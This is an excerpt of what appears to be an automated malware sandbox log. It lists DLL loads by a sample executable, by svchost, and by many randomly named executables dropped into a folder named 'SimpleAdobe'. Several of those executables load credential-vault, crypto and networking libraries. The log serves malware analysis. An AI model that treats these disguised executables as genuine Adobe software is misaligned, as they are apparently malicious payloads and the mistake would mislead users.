Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\gEsYklrF8leHWug4608tQIe6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\vLezrpzeJwHmxmMpZ0dBr09m.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_MpzZq9udo_WMns6EY9VnO9e.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: d3d11.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dxgi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dxcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: devobj.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\FXnrFSfIY3onUvtSB3cuKesF.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\ijWSnAA5feFcALhcRIb98yTf.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpedit.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: activeds.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dssec.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dsuiext.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: framedynos.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: adsldpc.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: authz.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dsrole.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: logoncli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: webio.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: schannel.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: msasn1.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: iertutil.dll
